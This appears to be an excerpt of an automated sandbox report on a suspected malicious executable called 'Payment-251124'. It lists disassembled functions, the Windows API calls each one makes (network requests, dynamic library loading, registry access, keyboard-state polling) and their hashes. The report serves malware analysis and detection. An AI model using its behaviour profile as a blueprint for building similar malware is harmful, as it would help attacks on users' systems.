                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: IconLoadNotifyShell_String_memset_wcscpy
                                                        • String ID: Line:
                                                        • API String ID: 1053898822-1585850449
                                                        • Opcode ID: 51bf618a1b800318aab06ed156a1a718b169f660cbb3cf775a2b7b4028b857ba
                                                        • Instruction ID: 8f929fd40925090fadf9d903c7c7b9c9cdc450e50ffa96c2af5a88f33367d0ad
                                                        • Opcode Fuzzy Hash: 51bf618a1b800318aab06ed156a1a718b169f660cbb3cf775a2b7b4028b857ba
                                                        • Instruction Fuzzy Hash: A431B272408744AFC324EB50ED46FEB77ECAF44310F00561EF599A21A1DB71A68A9B92
                                                        Function 00F143E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85networkCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00F14401
                                                        • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00F14427
                                                        • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00F14457
                                                        • InternetCloseHandle.WININET(00000000), ref: 00F1449E
                                                          • Part of subcall function 00F15052: GetLastError.KERNEL32(?,?,00F143CC,00000000,00000000,00000001), ref: 00F15067
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: HttpInternet$CloseErrorHandleInfoLastOpenQueryRequestSend
                                                        • String ID:
                                                        • API String ID: 1951874230-3916222277
                                                        • Opcode ID: ed1b72f5c33eacd91af820bff8c67b09f7abc79004ced6de6d585290c044228b
                                                        • Instruction ID: 5ebff10222224a516eddb067c95210fb43d2c7e71ebda55fdd95f8ea97d7814b
                                                        • Opcode Fuzzy Hash: ed1b72f5c33eacd91af820bff8c67b09f7abc79004ced6de6d585290c044228b
                                                        • Instruction Fuzzy Hash: 932180B6500209BEE711DF95CC85FFB76ECEB89B58F10801AF905D2140DA64AD85A771
                                                        Function 00F290E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDD17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00EDD1BA
                                                          • Part of subcall function 00EDD17C: GetStockObject.GDI32(00000011), ref: 00EDD1CE
                                                          • Part of subcall function 00EDD17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 00EDD1D8
                                                        • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00F2915C
                                                        • LoadLibraryW.KERNEL32(?), ref: 00F29163
                                                        • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00F29178
                                                        • DestroyWindow.USER32(?), ref: 00F29180
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
                                                        • String ID: SysAnimate32
                                                        • API String ID: 4146253029-1011021900
                                                        • Opcode ID: efedece149c71c8588314feb4b8d4bea62b909a36f691f97f8d202db1dad29fb
                                                        • Instruction ID: 8949aa07c2bd6b718e4243c174d4ee64fa6bbc4c3cb5aa4816d1598cfea7d479
                                                        • Opcode Fuzzy Hash: efedece149c71c8588314feb4b8d4bea62b909a36f691f97f8d202db1dad29fb
                                                        • Instruction Fuzzy Hash: 20218E7160821ABBEF104E65AC85EBA37ADFB99374F100619F95493190C7B1DC62B760
                                                        Function 00F09568 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetStdHandle.KERNEL32(0000000C), ref: 00F09588
                                                        • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00F095B9
                                                        • GetStdHandle.KERNEL32(0000000C), ref: 00F095CB
                                                        • CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00F09605
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CreateHandle$FilePipe
                                                        • String ID: nul
                                                        • API String ID: 4209266947-2873401336
                                                        • Opcode ID: 92d868a655af56209cf6b866c4b65108d930bfcbd46ecc9c4c881eee1cddbbe1
                                                        • Instruction ID: 181e3a3382bc56d36e3245b0ebdee05ae383ac9a33de41d3dfbf997e846191ac
                                                        • Opcode Fuzzy Hash: 92d868a655af56209cf6b866c4b65108d930bfcbd46ecc9c4c881eee1cddbbe1
                                                        • Instruction Fuzzy Hash: 06219275904209ABEB219F26DC05AAA77F8AF55720F244A19FCA1D72D1E7B0D940FB10
                                                        Function 00F09634 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78filepipeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetStdHandle.KERNEL32(000000F6), ref: 00F09653
                                                        • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00F09683
                                                        • GetStdHandle.KERNEL32(000000F6), ref: 00F09694
                                                        • CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00F096CE
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CreateHandle$FilePipe
                                                        • String ID: nul
                                                        • API String ID: 4209266947-2873401336
                                                        • Opcode ID: e009921b16d8e690a87549b054b40959e8110e4c40209127461b876b122c66b8
                                                        • Instruction ID: e61e318a1ac720236bf5afb935ebbe9581c2b6dbc9afe20fbb0e4ca6a214cce7
                                                        • Opcode Fuzzy Hash: e009921b16d8e690a87549b054b40959e8110e4c40209127461b876b122c66b8
                                                        • Instruction Fuzzy Hash: B5219075A04209ABDB209F699C04E9A77A8AF55734F200A19FCB1D32D1F7F29941FB10
                                                        Function 00F0DAF6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetErrorMode.KERNEL32(00000001), ref: 00F0DB0A
                                                        • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00F0DB5E
                                                        • __swprintf.LIBCMT ref: 00F0DB77
                                                        • SetErrorMode.KERNEL32(00000000,00000001,00000000,00F5DC00), ref: 00F0DBB5
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ErrorMode$InformationVolume__swprintf
                                                        • String ID: %lu
                                                        • API String ID: 3164766367-685833217
                                                        • Opcode ID: c4c0f0bc515f9ce12cb24a3957b91b29fbbe3c5319a62a93efa9f48c6c5c186c
                                                        • Instruction ID: 959523f5957f5dd39cc0eb9a03552221ebd56285b260911916488d0220cbbc32
                                                        • Opcode Fuzzy Hash: c4c0f0bc515f9ce12cb24a3957b91b29fbbe3c5319a62a93efa9f48c6c5c186c
                                                        • Instruction Fuzzy Hash: E2216875600148AFCB10EF95CD85E9EBBF8EF89704B104069F909E7351DB71EA41EB61
                                                        Function 00EFC9E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EFC82D: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00EFC84A
                                                          • Part of subcall function 00EFC82D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00EFC85D
                                                          • Part of subcall function 00EFC82D: GetCurrentThreadId.KERNEL32 ref: 00EFC864
                                                          • Part of subcall function 00EFC82D: AttachThreadInput.USER32(00000000), ref: 00EFC86B
                                                        • GetFocus.USER32 ref: 00EFCA05
                                                          • Part of subcall function 00EFC876: GetParent.USER32(?), ref: 00EFC884
                                                        • GetClassNameW.USER32(?,?,00000100), ref: 00EFCA4E
                                                        • EnumChildWindows.USER32(?,00EFCAC4), ref: 00EFCA76
                                                        • __swprintf.LIBCMT ref: 00EFCA90
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf
                                                        • String ID: %s%d
                                                        • API String ID: 3187004680-1110647743
                                                        • Opcode ID: 17ff5470b5061916b4e7cba68dcf58144130f2e5e031d90e37b7efc56e94b1ca
                                                        • Instruction ID: 34f48126ba2138ddfe1a0a010b51ed98818913243024e130e0fd14ba0e082df6
                                                        • Opcode Fuzzy Hash: 17ff5470b5061916b4e7cba68dcf58144130f2e5e031d90e37b7efc56e94b1ca
                                                        • Instruction Fuzzy Hash: 8711D27160020C6BDB05BF608D85FFE37A8AF44704F209066FF09BA182CB70A546DB71
                                                        Function 00F21945 Relevance: 7.7, APIs: 5, Instructions: 232COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00F219F3
                                                        • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00F21A26
                                                        • GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00F21B49
                                                        • CloseHandle.KERNEL32(?), ref: 00F21BBF
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Process$CloseCountersHandleInfoMemoryOpen
                                                        • String ID:
                                                        • API String ID: 2364364464-0
                                                        • Opcode ID: a40c6aa5973733b9746c659877842237004f4dc8dcee76bfbfac5b1142de1cc4
                                                        • Instruction ID: dc94319189f6046c0b9081a9e4751cf460ae2a7b17dbcab066d94d234eb22642
                                                        • Opcode Fuzzy Hash: a40c6aa5973733b9746c659877842237004f4dc8dcee76bfbfac5b1142de1cc4
                                                        • Instruction Fuzzy Hash: AD81B174A00214ABDF109F64C886BAEBBF5FF58720F04845AF905BF382D7B5AD419B90
                                                        Function 00F01C9A Relevance: 7.7, APIs: 5, Instructions: 158COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • VariantInit.OLEAUT32(?), ref: 00F01CB4
                                                        • VariantClear.OLEAUT32(00000013), ref: 00F01D26
                                                        • VariantClear.OLEAUT32(00000000), ref: 00F01D81
                                                        • VariantClear.OLEAUT32(?), ref: 00F01DF8
                                                        • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00F01E26
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Variant$Clear$ChangeInitType
                                                        • String ID:
                                                        • API String ID: 4136290138-0
                                                        • Opcode ID: dbefa50e8bddcecdac40b8431afb26b8e0c0a721010d35008e23ebbafee5b46c
                                                        • Instruction ID: af48a194967ec19e96040e1379babb187300d0f848cd0f2203fed9ce63ab7d0b
                                                        • Opcode Fuzzy Hash: dbefa50e8bddcecdac40b8431afb26b8e0c0a721010d35008e23ebbafee5b46c
                                                        • Instruction Fuzzy Hash: FF5168B5A00209EFDB14CF58C884AAAB7B8FF8D314B158559ED49DB350E330EA51DFA0
                                                        Function 00F20688 Relevance: 7.6, APIs: 5, Instructions: 149libraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EC936C: __swprintf.LIBCMT ref: 00EC93AB
                                                          • Part of subcall function 00EC936C: __itow.LIBCMT ref: 00EC93DF
                                                        • LoadLibraryW.KERNEL32(?,00000004,?,?), ref: 00F206EE
                                                        • GetProcAddress.KERNEL32(00000000,?), ref: 00F2077D
                                                        • GetProcAddress.KERNEL32(00000000,00000000), ref: 00F2079B
                                                        • GetProcAddress.KERNEL32(00000000,?), ref: 00F207E1
                                                        • FreeLibrary.KERNEL32(00000000,00000004), ref: 00F207FB
                                                          • Part of subcall function 00EDE65E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00F0A574,?,?,00000000,00000008), ref: 00EDE675
                                                          • Part of subcall function 00EDE65E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00F0A574,?,?,00000000,00000008), ref: 00EDE699
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
                                                        • String ID:
                                                        • API String ID: 327935632-0
                                                        • Opcode ID: 7b78c3f6e77acb8e148599db8f78786b5a58deef8e8bdf0b6e847ae5beb624f4
                                                        • Instruction ID: fdb8ff2644f43274e083977ca4799d0eeee55c8ec8edddac50cc4465e960ab42
                                                        • Opcode Fuzzy Hash: 7b78c3f6e77acb8e148599db8f78786b5a58deef8e8bdf0b6e847ae5beb624f4
                                                        • Instruction Fuzzy Hash: 2A516B76A00219DFCB00EFA8D985EADB7F5FF59310B148069E915AB352DB31ED42DB80
                                                        Function 00F22E29 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00F23C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00F22BB5,?,?), ref: 00F23C1D
                                                        • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00F22EEF
                                                        • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00F22F2E
                                                        • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00F22F75
                                                        • RegCloseKey.ADVAPI32(?,?), ref: 00F22FA1
                                                        • RegCloseKey.ADVAPI32(00000000), ref: 00F22FAE
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Close$BuffCharConnectEnumOpenRegistryUpper
                                                        • String ID:
                                                        • API String ID: 3740051246-0
                                                        • Opcode ID: bd20bc7f6de13d932148cf8d04355ec1df3ffe2824774b875f9739c758c071ff
                                                        • Instruction ID: 49826db610b85fd814be0e80c97b0573128da76134fbc8710059f4bfe54f5119
                                                        • Opcode Fuzzy Hash: bd20bc7f6de13d932148cf8d04355ec1df3ffe2824774b875f9739c758c071ff
                                                        • Instruction Fuzzy Hash: D0516872208204AFC704EF68CD91F6ABBF8BF88314F04482DF595972A1DB35E905EB52
                                                        Function 00F2CCF7 Relevance: 7.6, APIs: 5, Instructions: 129COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 143aa005c8f894551e94d577d9034033e7e148c3311f39a522b877f9fad0b02e
                                                        • Instruction ID: 1915c3061c6919050118262d6cc8f518c824a51c6ad0be8c7a3a7dc288a82160
                                                        • Opcode Fuzzy Hash: 143aa005c8f894551e94d577d9034033e7e148c3311f39a522b877f9fad0b02e
                                                        • Instruction Fuzzy Hash: AD41B63AD00528ABC710DB68DC44FAD7B68FB09360F550265F969A72E1D770AD01F6D0
                                                        Function 00F11206 Relevance: 7.6, APIs: 5, Instructions: 127COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00F112B4
                                                        • GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00F112DD
                                                        • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00F1131C
                                                          • Part of subcall function 00EC936C: __swprintf.LIBCMT ref: 00EC93AB
                                                          • Part of subcall function 00EC936C: __itow.LIBCMT ref: 00EC93DF
                                                        • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00F11341
                                                        • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00F11349
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
                                                        • String ID:
                                                        • API String ID: 1389676194-0
                                                        • Opcode ID: 3a1b6d0b764f242f5b6b10d8619bd11a077a6b366320019c76a038422cfb053f
                                                        • Instruction ID: b8189a6bd3906f91048f80f1688267fd55a80164f3a3c639a71187cdba32e8ad
                                                        • Opcode Fuzzy Hash: 3a1b6d0b764f242f5b6b10d8619bd11a077a6b366320019c76a038422cfb053f
                                                        • Instruction Fuzzy Hash: 95410C35A00105DFCB01EF64CA95EAEBBF5FF49310B148099E91AAB3A2CB31ED41DB51
                                                        Function 00EDB63C Relevance: 7.6, APIs: 5, Instructions: 110keyboardCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetCursorPos.USER32(000000FF), ref: 00EDB64F
                                                        • ScreenToClient.USER32(00000000,000000FF), ref: 00EDB66C
                                                        • GetAsyncKeyState.USER32(00000001), ref: 00EDB691
                                                        • GetAsyncKeyState.USER32(00000002), ref: 00EDB69F
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AsyncState$ClientCursorScreen
                                                        • String ID:
                                                        • API String ID: 4210589936-0
                                                        • Opcode ID: ec1f6c9d5ae8a21eda8b607fd0a4e9d92758b811159ca872143e3477d877a366
                                                        • Instruction ID: d0a2197f25d9028949b573235daaf4de6e55dcd76b97539d8b1539bee1bf997f
                                                        • Opcode Fuzzy Hash: ec1f6c9d5ae8a21eda8b607fd0a4e9d92758b811159ca872143e3477d877a366
                                                        • Instruction Fuzzy Hash: 81419D35904119FBDF199F64C884AEDBBB4FF05334F11431AF829A6290DB34A991EFA0
                                                        Function 00EFB358 Relevance: 7.6, APIs: 5, Instructions: 88sleepwindowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetWindowRect.USER32(?,?), ref: 00EFB369
                                                        • PostMessageW.USER32(?,00000201,00000001), ref: 00EFB413
                                                        • Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00EFB41B
                                                        • PostMessageW.USER32(?,00000202,00000000), ref: 00EFB429
                                                        • Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00EFB431
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessagePostSleep$RectWindow
                                                        • String ID:
                                                        • API String ID: 3382505437-0
                                                        • Opcode ID: 9ea4c0b5bd3086fce5ff6357e424494831cd4eecf00f3676188b9b670b3e3407
                                                        • Instruction ID: d14819f5a3379cb559316f3fb39be40f997718d3cfc9eaf30e32040fd0891be2
                                                        • Opcode Fuzzy Hash: 9ea4c0b5bd3086fce5ff6357e424494831cd4eecf00f3676188b9b670b3e3407
                                                        • Instruction Fuzzy Hash: E131CC7190021DEBDF04CFA8DD4DAEE3BB5EB45319F108229FA25AA1D1C3B09A14DB90
